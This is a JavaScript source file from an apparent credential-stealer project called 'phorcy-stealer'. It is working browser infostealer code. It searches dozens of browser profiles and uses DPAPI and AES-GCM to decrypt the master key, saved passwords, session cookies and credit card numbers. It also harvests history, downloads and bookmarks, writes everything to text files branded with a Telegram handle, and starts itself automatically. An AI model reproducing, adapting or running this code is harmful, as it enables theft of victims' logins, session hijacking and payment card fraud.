Files
phorcy-stealer/Utils/browser.js
2023-11-24 23:03:49 +01:00

580 lines
25 KiB
JavaScript

const fs = require('fs');
const sqlite3 = require('sqlite3').verbose();
const crypto = require('crypto')
const path = require('path')
const dpapi = require('./node-dpapi');
class BrowserStealing {
constructor() {
this.local = process.env.LOCALAPPDATA
this.roaming = process.env.APPDATA
this.phorcyDir = path.join(this.roaming, 'Phorcy');
//this.browserPaths = [path.join(this.local, 'Google', 'Chrome', 'User Data'), path.join(this.local, 'Thorium', 'User Data')];
this.browserPaths = [
path.join(this.local, 'Opera Software', 'Opera Neon', 'User Data', 'Default'),
path.join(this.local, 'Opera Software', 'Opera Stable'),
path.join(this.local, 'Opera Software', 'Opera GX Stable'),
path.join(this.local, 'Amigo', 'User Data'),
path.join(this.local, 'Torch', 'User Data'),
path.join(this.local, 'Kometa', 'User Data'),
path.join(this.local, 'Orbitum', 'User Data'),
path.join(this.local, 'CentBrowser', 'User Data'),
path.join(this.local, '7Star', '7Star', 'User Data'),
path.join(this.local, 'Sputnik', 'Sputnik', 'User Data'),
path.join(this.local, 'Vivaldi', 'User Data'),
path.join(this.local, 'Google', 'Chrome SxS', 'User Data'),
path.join(this.local, 'Google', 'Chrome', 'User Data'),
path.join(this.local, 'Epic Privacy Browser', 'User Data'),
path.join(this.local, 'Microsoft', 'Edge', 'User Data'),
path.join(this.local, 'uCozMedia', 'Uran', 'User Data'),
path.join(this.local, 'Yandex', 'YandexBrowser', 'User Data'),
path.join(this.local, 'BraveSoftware', 'Brave-Browser', 'User Data'),
path.join(this.local, 'Iridium', 'User Data'),
path.join(this.local, 'Google', 'Chrome Beta', 'User Data'),
path.join(this.local, 'Google', 'Chrome SxS', 'User Data'),
path.join(this.local, 'Slimjet', 'User Data'),
path.join(this.local, 'Maxthon3', 'User Data'),
path.join(this.local, 'Thorium', 'User Data'),
path.join(this.local, 'AVAST Software', 'Avast Secure Browser', 'User Data'),
path.join(this.local, '8pecxstudios', 'Cyberfox', 'User Data'),
path.join(this.local, 'Waterfox', 'Profiles'),
path.join(this.local, 'Moonchild Productions', 'Pale Moon', 'Profiles'),
path.join(this.local, 'Comodo', 'Dragon', 'User Data'),
path.join(this.local, 'Coowon', 'User Data'),
path.join(this.local, 'GNU', 'IceCat', 'Profiles'),
path.join(this.local, 'Moonchild Productions', 'Basilisk', 'Profiles'),
path.join(this.local, 'Otter', 'Browser', 'User Data'),
path.join(this.local, 'WebDir', 'Opium', 'User Data'),
path.join(this.local, 'Comodo', 'Chromodo', 'User Data'),
path.join(this.local, 'Yandex', 'YandexBrowserBeta', 'User Data'),
path.join(this.local, 'SRWare Iron', 'User Data'),
path.join(this.local, 'Otter', 'Browser', 'User Data'),
path.join(this.local, 'Coowon', 'User Data'),
path.join(this.local, 'qutebrowser'),
path.join(this.local, 'Microsoft', 'Edge SxS', 'User Data'),
path.join(this.local, 'VivaldiSnapshot', 'User Data'),
path.join(this.local, 'Otter', 'Browser', 'User Data'),
path.join(this.local, 'Coowon', 'User Data'),
path.join(this.local, 'qutebrowser'),
path.join(this.local, 'Microsoft', 'Edge SxS', 'User Data'),
path.join(this.local, 'VivaldiSnapshot', 'User Data'),
];
this.browserProfiles = ['Default', 'Profile 1', 'Profile 2', 'Profile 3', 'Profile 4', 'Profile 5'];
this.tempDir = path.join(this.local, 'Temp');
this.password_command = 'SELECT action_url, username_value, password_value FROM logins';
this.cookie_command = 'SELECT host_key, name, encrypted_value, expires_utc FROM cookies';
this.cc_command = 'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards';
this.history_command = 'SELECT url, title, last_visit_time FROM urls';
this.downloads_command = 'SELECT tab_url, target_path FROM downloads';
this.passwordFile = path.join(this.phorcyDir, 'browser_passwords.txt');
this.cookieFile = path.join(this.phorcyDir, 'browser_cookies.txt');
this.ccFile = path.join(this.phorcyDir, 'browser_creditcards.txt');
this.historyFile = path.join(this.phorcyDir, 'browser_history.txt');
this.downloadsFile = path.join(this.phorcyDir, 'browser_downloads.txt');
this.bookmarkFile = path.join(this.phorcyDir, 'browser_bookmarks.txt');
this.password_count = 0;
this.cookie_count = 0;
this.cc_count = 0;
this.history_count = 0;
this.downloads_count = 0;
this.bookmark_count = 0;
}
generateRandomString() {
const randomCharacter = () => Math.random().toString(36).substring(2, 3).toUpperCase();
return `${randomCharacter()}${randomCharacter()}${Math.random().toString(36).substring(2, 7).toUpperCase()}-${randomCharacter()}${randomCharacter()}${Math.random().toString(36).substring(2, 7).toUpperCase()}-${randomCharacter()}${randomCharacter()}${Math.random().toString(36).substring(2, 7).toUpperCase()}`;
}
fileExists(filePath) {
try {
fs.accessSync(filePath, fs.constants.F_OK);
return true;
} catch (err) {
return false;
}
}
getKey(local_stateFile, callback) {
fs.readFile(local_stateFile, 'utf8', (err, data) => {
if (err) {
console.error(err);
return;
}
const encryptedKey = Buffer.from(JSON.parse(data).os_crypt.encrypted_key, 'base64').slice(5);
const decryptedKey = dpapi.unprotectData(encryptedKey, null, "CurrentUser");
console.log('Decryption Key:', decryptedKey);
//return decryptedKey;
callback(null, decryptedKey);
});
}
getPassword(loginFile, masterKey) {
const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);
fs.copyFile(loginFile, tempFile, (err) => {
if (err) {
console.error(err);
}
const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => {
if (err) {
console.error(err);
return;
}
db.all(this.password_command, (err, rows) => {
if (err) {
console.error(err);
} else {
rows.map(row => {
if (row && row['password_value']) {
let password_value = row['password_value'];
let start = password_value.slice(3, 15),
middle = password_value.slice(15, password_value.length - 16),
end = password_value.slice(password_value.length - 16, password_value.length),
decipher = crypto.createDecipheriv('aes-256-gcm', masterKey, start);
decipher.setAuthTag(end);
this.password_count++;
try {
const passwordList = `+------------------------+\n| URL: ${row.action_url ? row.action_url.toString() : ''} |\n| Username: ${row.username_value ? row.username_value.toString() : ''} |\n| Password: ${decipher.update(middle, 'base64', 'utf-8') + decipher.final('utf-8').toString()} |\n`;
fs.writeFileSync(this.passwordFile, passwordList, { flag: 'a' });
} catch (err) {
console.error(err);
}
}
});
}
db.close((err) => {
if (err) {
console.error(err);
}
});
console.log('Password count:', this.password_count)
});
});
});
if (this.fileExists(tempFile)) {
fs.unlink(tempFile, (err) => {
if (err) {
console.error(err);
}
});
}
};
getCookie(cookieFile, masterKey) {
const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);
fs.copyFile(cookieFile, tempFile, (err) => {
if (err) {
console.error(err);
}
const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => {
if (err) {
console.error(err);
return;
}
db.all(this.cookie_command, (err, rows) => {
if (err) {
console.error(err);
} else {
let decrypted;
rows.map(row => {
if (row && row['encrypted_value']) {
let cookie_value = row['encrypted_value'];
let first = cookie_value.slice(3, 15),
middle = cookie_value.slice(
15,
cookie_value.length - 16
),
end = cookie_value.slice(cookie_value.length-16,cookie_value.length),decipher=crypto.createDecipheriv("aes-256-gcm",masterKey,first);
decipher.setAuthTag(end),decrypted=decipher.update(middle,"base64","utf-8")+decipher.final("utf-8");
this.cookie_count++;
try {
const cookieList = `+------------------------+\n| Host: ${row["host_key"]} |\n| Name: ${row.name ? row.name.toString() : ''} |\n| Cookie value: ${decrypted} |\n| Expiration: ${row['expires_utc']} |\n`;
fs.writeFileSync(this.cookieFile, cookieList, { flag: 'a' });
} catch (err) {
console.error(err);
}
}
});
}
db.close((err) => {
if (err) {
console.error(err);
}
});
console.log('Cookie count:', this.cookie_count)
});
});
});
if (this.fileExists(tempFile)) {
fs.unlink(tempFile, (err) => {
if (err) {
console.error(err);
}
});
}
};
getCreditCard(ccFile, masterKey) {
const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);
fs.copyFile(ccFile, tempFile, (err) => {
if (err) {
console.error(err);
}
const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => {
if (err) {
console.error(err);
return;
}
db.all(this.cc_command, (err, rows) => {
if (err) {
console.error(err);
} else {
let decrypted;
rows.map(row => {
if (row && row['card_number_encrypted']) {
let cc_value = row['card_number_encrypted'];
let first = cc_value.slice(3, 15),
middle = cc_value.slice(
15,
cc_value.length - 16
),
end = cc_value.slice(cc_value.length-16,cc_value.length),decipher=crypto.createDecipheriv("aes-256-gcm",masterKey,first);
decipher.setAuthTag(end),decrypted=decipher.update(middle,"base64","utf-8")+decipher.final("utf-8");
this.cc_count++;
try {
const ccList = `+------------------------+\n| Name: ${row['name_on_card']} |\n| Credit Card Number: ${decrypted} |\n| Expiration: ${row['expiration_month']}/${row['expiration_year']} |\n`;
fs.writeFileSync(this.ccFile, ccList, { flag: 'a' });
} catch (err) {
console.error(err);
}
}
});
}
db.close((err) => {
if (err) {
console.error(err);
}
});
console.log('Credit Card count:', this.cc_count)
});
});
});
if (this.fileExists(tempFile)) {
fs.unlink(tempFile, (err) => {
if (err) {
console.error(err);
}
});
}
};
getHistory(historyFile) {
const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);
fs.copyFile(historyFile, tempFile, (err) => {
if (err) {
console.error(err);
}
const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => {
if (err) {
console.error(err);
return;
}
db.all(this.history_command, (err, rows) => {
if (err) {
console.error(err);
} else {
rows.map(row => {
if (row) {
this.history_count++;
try {
const historyList = `+------------------------+\n| URL: ${row['url']} |\n| Title: ${row['title']} |\n| Last visit: ${row['last_visit_time']} |\n`;
fs.writeFileSync(this.historyFile, historyList, { flag: 'a' });
} catch (err) {
console.error(err);
}
}
});
}
db.close((err) => {
if (err) {
console.error(err);
}
});
console.log('History count:', this.history_count)
});
});
});
if (this.fileExists(tempFile)) {
fs.unlink(tempFile, (err) => {
if (err) {
console.error(err);
}
});
}
};
getDownload(historyFile) {
const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);
fs.copyFile(historyFile, tempFile, (err) => {
if (err) {
console.error(err);
}
const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => {
if (err) {
console.error(err);
return;
}
db.all(this.downloads_command, (err, rows) => {
if (err) {
console.error(err);
} else {
rows.map(row => {
if (row) {
this.downloads_count++;
try {
const downloadsList = `+------------------------+\n| Tab URL: ${row['tab_url']} |\n| Target Path: ${row['target_path']} |\n`;
fs.writeFileSync(this.downloadsFile, downloadsList, { flag: 'a' });
} catch (err) {
console.error(err);
}
}
});
}
db.close((err) => {
if (err) {
console.error(err);
}
});
console.log('Downloads count:', this.downloads_count)
});
});
});
if (this.fileExists(tempFile)) {
fs.unlink(tempFile, (err) => {
if (err) {
console.error(err);
}
});
}
};
getBookmark(bookmarkFile) {
const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`);
fs.copyFile(bookmarkFile, tempFile, (err) => {
if (err) {
console.error(err);
}
fs.readFile(tempFile, 'utf8', (err, data) => {
if (err) {
console.error(err);
return;
}
let bookmarks = JSON.parse(data).roots.other.children;
try {
for (const item of bookmarks) {
const bookmarkList = `+------------------------+\n| URL: ${item['url']} |\n| Name: ${item['name']} |\n| Type: ${item['type']} |\n| Last used: ${item['date_last_used']} |\n| Date added: ${item['date_added']} |\n`;
fs.writeFileSync(this.bookmarkFile, bookmarkList, { flag: 'a' });
this.bookmark_count++;
}
} catch (err) {
console.error(err);
}
console.log('Bookmark count:', this.bookmark_count)
});
});
if (this.fileExists(tempFile)) {
fs.unlink(tempFile, (err) => {
if (err) {
console.error(err);
}
});
}
};
async Main() {
// dir preparation
if (!this.fileExists(this.phorcyDir)) {
try {
fs.mkdirSync(this.phorcyDir);
} catch (err) {
console.error(err);
}
}
// password grabber
fs.writeFileSync(this.passwordFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
for (const browserPath of this.browserPaths) {
if (this.fileExists(browserPath)) {
const localState = path.join(browserPath, 'Local State');
if (this.fileExists(localState)) {
for (const profile of this.browserProfiles) {
const passwordFile = path.join(browserPath, profile, 'Login Data');
if (this.fileExists(passwordFile)) {
try {
this.getKey(localState, (err, key) => {
if (err) {
console.error(err);
} else {
this.getPassword(passwordFile, key);
}
});
} catch (err) {
console.error(err);
}
}
}
}
}
}
// cookie grabber
fs.writeFileSync(this.cookieFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
for (const browserPath of this.browserPaths) {
if (this.fileExists(browserPath)) {
const localState = path.join(browserPath, 'Local State');
if (this.fileExists(localState)) {
for (const profile of this.browserProfiles) {
const cookieFile = path.join(browserPath, profile, 'Network', 'Cookies');
if (this.fileExists(cookieFile)) {
try {
this.getKey(localState, (err, key) => {
if (err) {
console.error(err);
} else {
this.getCookie(cookieFile, key);
}
});
} catch (err) {
console.error(err);
}
}
}
}
}
}
// cc grabber
fs.writeFileSync(this.ccFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
for (const browserPath of this.browserPaths) {
if (this.fileExists(browserPath)) {
const localState = path.join(browserPath, 'Local State');
if (this.fileExists(localState)) {
for (const profile of this.browserProfiles) {
const ccFile = path.join(browserPath, profile, 'Web Data');
if (this.fileExists(ccFile)) {
try {
this.getKey(localState, (err, key) => {
if (err) {
console.error(err);
} else {
this.getCreditCard(ccFile, key);
}
});
} catch (err) {
console.error(err);
}
}
}
}
}
}
// history grabber
fs.writeFileSync(this.historyFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
for (const browserPath of this.browserPaths) {
if (this.fileExists(browserPath)) {
for (const profile of this.browserProfiles) {
const historyFile = path.join(browserPath, profile, 'History');
if (this.fileExists(historyFile)) {
try {
this.getHistory(historyFile);
} catch (err) {
console.error(err);
}
}
}
}
}
// downloads grabber
fs.writeFileSync(this.downloadsFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
for (const browserPath of this.browserPaths) {
if (this.fileExists(browserPath)) {
for (const profile of this.browserProfiles) {
const downloadsFile = path.join(browserPath, profile, 'History');
if (this.fileExists(downloadsFile)) {
try {
this.getDownload(downloadsFile);
} catch (err) {
console.error(err);
}
}
}
}
}
// bookmark grabber
fs.writeFileSync(this.bookmarkFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' });
for (const browserPath of this.browserPaths) {
if (this.fileExists(browserPath)) {
for (const profile of this.browserProfiles) {
const bookmarkFile = path.join(browserPath, profile, 'Bookmarks');
if (this.fileExists(bookmarkFile)) {
try {
this.getBookmark(bookmarkFile);
} catch (err) {
console.error(err);
}
}
}
}
}
}
}
const browserStealer = new BrowserStealing()
browserStealer.Main()
console.log('Hello, World!')